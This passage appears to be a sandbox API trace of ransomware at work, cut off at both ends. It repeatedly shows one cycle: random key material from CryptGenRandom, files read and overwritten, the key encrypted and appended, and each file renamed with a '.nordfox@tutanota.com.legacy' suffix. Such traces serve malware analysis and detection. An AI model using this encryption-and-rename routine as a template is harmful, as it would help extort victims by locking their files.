dwFlags=0x0, lpMem=0x60a308 | out: hHeap=0x520000) returned 1 [0170.819] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b118 | out: hHeap=0x520000) returned 1 [0170.819] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x609c00 [0170.819] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0170.819] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0170.819] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0170.819] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0170.819] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\8d3dd86f4cdf9dd6ff071805ce7268fddd3bca3fbf3dad39f696a06b2b18fbbc", dwFileAttributes=0x80) returned 1 [0170.820] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60b118 [0170.820] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4488 [0170.820] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b118 | out: hHeap=0x520000) returned 1 [0170.820] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\8d3dd86f4cdf9dd6ff071805ce7268fddd3bca3fbf3dad39f696a06b2b18fbbc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\8d3dd86f4cdf9dd6ff071805ce7268fddd3bca3fbf3dad39f696a06b2b18fbbc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0170.820] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=17523) returned 1 [0170.820] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4473) returned 0x30d1028 [0170.821] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4473) returned 0x30d54a8 [0170.821] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x4473, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x4473, lpOverlapped=0x0) returned 1 [0170.831] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-17523, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.831] WriteFile (in: hFile=0x1830, lpBuffer=0x30d54a8*, nNumberOfBytesToWrite=0x4473, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d54a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4473, lpOverlapped=0x0) returned 1 [0170.831] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d1028 | out: hHeap=0x520000) returned 1 [0170.831] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d54a8 | out: hHeap=0x520000) returned 1 [0170.832] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4473 [0170.832] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0170.832] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0170.832] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0170.832] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0170.832] CloseHandle (hObject=0x1830) returned 1 [0170.832] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0170.832] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0170.832] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\8d3dd86f4cdf9dd6ff071805ce7268fddd3bca3fbf3dad39f696a06b2b18fbbc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\8d3dd86f4cdf9dd6ff071805ce7268fddd3bca3fbf3dad39f696a06b2b18fbbc"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\8d3dd86f4cdf9dd6ff071805ce7268fddd3bca3fbf3dad39f696a06b2b18fbbc.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\8d3dd86f4cdf9dd6ff071805ce7268fddd3bca3fbf3dad39f696a06b2b18fbbc.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0170.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b4488 | out: hHeap=0x520000) returned 1 [0170.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609c00 | out: hHeap=0x520000) returned 1 [0170.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60afb0 | out: hHeap=0x520000) returned 1 [0170.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60a5d8 [0170.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0170.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0170.834] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0170.834] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0170.834] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\86937712610ad3a544a0ed3a30a694126358ce0c22ffcffc53c4862729ff98cc", dwFileAttributes=0x80) returned 1 [0170.835] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60afb0 [0170.835] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b46b0 [0170.835] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60afb0 | out: hHeap=0x520000) returned 1 [0170.835] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\86937712610ad3a544a0ed3a30a694126358ce0c22ffcffc53c4862729ff98cc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\86937712610ad3a544a0ed3a30a694126358ce0c22ffcffc53c4862729ff98cc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0170.835] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=831) returned 1 [0170.836] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x33f) returned 0x2f74cc0 [0170.836] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x33f) returned 0x2f75008 [0170.836] ReadFile (in: hFile=0x1830, lpBuffer=0x2f74cc0, nNumberOfBytesToRead=0x33f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f74cc0*, lpNumberOfBytesRead=0x2e1f9bc*=0x33f, lpOverlapped=0x0) returned 1 [0170.847] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-831, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.847] WriteFile (in: hFile=0x1830, lpBuffer=0x2f75008*, nNumberOfBytesToWrite=0x33f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f75008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x33f, lpOverlapped=0x0) returned 1 [0170.847] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f74cc0 | out: hHeap=0x520000) returned 1 [0170.847] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f75008 | out: hHeap=0x520000) returned 1 [0170.847] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x33f [0170.847] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0170.847] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0170.847] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0170.848] WriteFile (in: hFile=0x1830, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0170.848] CloseHandle (hObject=0x1830) returned 1 [0170.848] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0170.848] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0170.848] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\86937712610ad3a544a0ed3a30a694126358ce0c22ffcffc53c4862729ff98cc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\86937712610ad3a544a0ed3a30a694126358ce0c22ffcffc53c4862729ff98cc"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\86937712610ad3a544a0ed3a30a694126358ce0c22ffcffc53c4862729ff98cc.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\86937712610ad3a544a0ed3a30a694126358ce0c22ffcffc53c4862729ff98cc.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0170.849] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b46b0 | out: hHeap=0x520000) returned 1 [0170.850] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a5d8 | out: hHeap=0x520000) returned 1 [0170.850] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a1a0 | out: hHeap=0x520000) returned 1 [0170.850] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60a038 [0170.850] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0170.850] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0170.850] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0170.850] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0170.850] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\846d7068b9c07676a449f584a8a3fcf65bb398e83dd83c0c0cdf4b9f02769006", dwFileAttributes=0x80) returned 1 [0170.850] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x609c00 [0170.850] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4d28 [0170.851] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609c00 | out: hHeap=0x520000) returned 1 [0170.851] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\846d7068b9c07676a449f584a8a3fcf65bb398e83dd83c0c0cdf4b9f02769006" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\846d7068b9c07676a449f584a8a3fcf65bb398e83dd83c0c0cdf4b9f02769006"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0170.851] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=454842) returned 1 [0170.851] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6f0ba) returned 0x33b6018 [0170.852] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6f0ba) returned 0x34250e0 [0170.853] ReadFile (in: hFile=0x1830, lpBuffer=0x33b6018, nNumberOfBytesToRead=0x6f0ba, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b6018*, lpNumberOfBytesRead=0x2e1f9bc*=0x6f0ba, lpOverlapped=0x0) returned 1 [0170.877] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-454842, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.877] WriteFile (in: hFile=0x1830, lpBuffer=0x34250e0*, nNumberOfBytesToWrite=0x6f0ba, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34250e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6f0ba, lpOverlapped=0x0) returned 1 [0170.878] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b6018 | out: hHeap=0x520000) returned 1 [0170.880] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x34250e0 | out: hHeap=0x520000) returned 1 [0170.886] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6f0ba [0170.886] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0170.886] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0170.888] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0170.888] WriteFile (in: hFile=0x1830, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0170.889] CloseHandle (hObject=0x1830) returned 1 [0170.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0170.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0170.889] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\846d7068b9c07676a449f584a8a3fcf65bb398e83dd83c0c0cdf4b9f02769006" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\846d7068b9c07676a449f584a8a3fcf65bb398e83dd83c0c0cdf4b9f02769006"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\846d7068b9c07676a449f584a8a3fcf65bb398e83dd83c0c0cdf4b9f02769006.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\846d7068b9c07676a449f584a8a3fcf65bb398e83dd83c0c0cdf4b9f02769006.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0170.898] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b4d28 | out: hHeap=0x520000) returned 1 [0170.899] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a038 | out: hHeap=0x520000) returned 1 [0170.899] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ace0 | out: hHeap=0x520000) returned 1 [0170.899] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60aa10 [0170.899] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0170.899] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0170.899] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0170.899] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0170.899] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\8149d76be8e0b23da9ee945142b67ad5fcad54874be8a82407cdfca97591d91f", dwFileAttributes=0x80) returned 1 [0170.899] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60a1a0 [0170.899] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b53a0 [0170.899] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a1a0 | out: hHeap=0x520000) returned 1 [0170.899] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\8149d76be8e0b23da9ee945142b67ad5fcad54874be8a82407cdfca97591d91f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\8149d76be8e0b23da9ee945142b67ad5fcad54874be8a82407cdfca97591d91f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0170.900] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1357357) returned 1 [0170.900] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14b62d) returned 0x3521020 [0170.904] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14b62d) returned 0x367e020 [0170.908] ReadFile (in: hFile=0x1830, lpBuffer=0x3521020, nNumberOfBytesToRead=0x14b62d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3521020*, lpNumberOfBytesRead=0x2e1f9bc*=0x14b62d, lpOverlapped=0x0) returned 1 [0171.059] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1357357, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.059] WriteFile (in: hFile=0x1830, lpBuffer=0x367e020*, nNumberOfBytesToWrite=0x14b62d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x367e020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14b62d, lpOverlapped=0x0) returned 1 [0171.065] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3521020 | out: hHeap=0x520000) returned 1 [0171.070] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x367e020 | out: hHeap=0x520000) returned 1 [0171.076] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x14b62d [0171.076] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0171.076] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0171.077] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0171.077] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0171.077] CloseHandle (hObject=0x1830) returned 1 [0171.077] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0171.077] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0171.077] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\8149d76be8e0b23da9ee945142b67ad5fcad54874be8a82407cdfca97591d91f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\8149d76be8e0b23da9ee945142b67ad5fcad54874be8a82407cdfca97591d91f"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\8149d76be8e0b23da9ee945142b67ad5fcad54874be8a82407cdfca97591d91f.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\8149d76be8e0b23da9ee945142b67ad5fcad54874be8a82407cdfca97591d91f.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0171.079] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b53a0 | out: hHeap=0x520000) returned 1 [0171.079] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60aa10 | out: hHeap=0x520000) returned 1 [0171.079] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b988 | out: hHeap=0x520000) returned 1 [0171.079] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60ab78 [0171.079] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0171.079] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0171.079] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0171.079] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0171.079] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\78b619a60badaf2af10f512120ec3f3bb4e0b4989a18d553b73681ba6ba7eeb0", dwFileAttributes=0x80) returned 1 [0171.080] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60ace0 [0171.080] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b55c8 [0171.080] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ace0 | out: hHeap=0x520000) returned 1 [0171.080] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\78b619a60badaf2af10f512120ec3f3bb4e0b4989a18d553b73681ba6ba7eeb0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\78b619a60badaf2af10f512120ec3f3bb4e0b4989a18d553b73681ba6ba7eeb0"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0171.080] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=792820) returned 1 [0171.080] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc18f4) returned 0x6fe020 [0171.082] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc18f4) returned 0x3524020 [0171.084] ReadFile (in: hFile=0x1830, lpBuffer=0x6fe020, nNumberOfBytesToRead=0xc18f4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6fe020*, lpNumberOfBytesRead=0x2e1f9bc*=0xc18f4, lpOverlapped=0x0) returned 1 [0171.156] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-792820, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.156] WriteFile (in: hFile=0x1830, lpBuffer=0x3524020*, nNumberOfBytesToWrite=0xc18f4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3524020*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc18f4, lpOverlapped=0x0) returned 1 [0171.158] HeapFree (in: 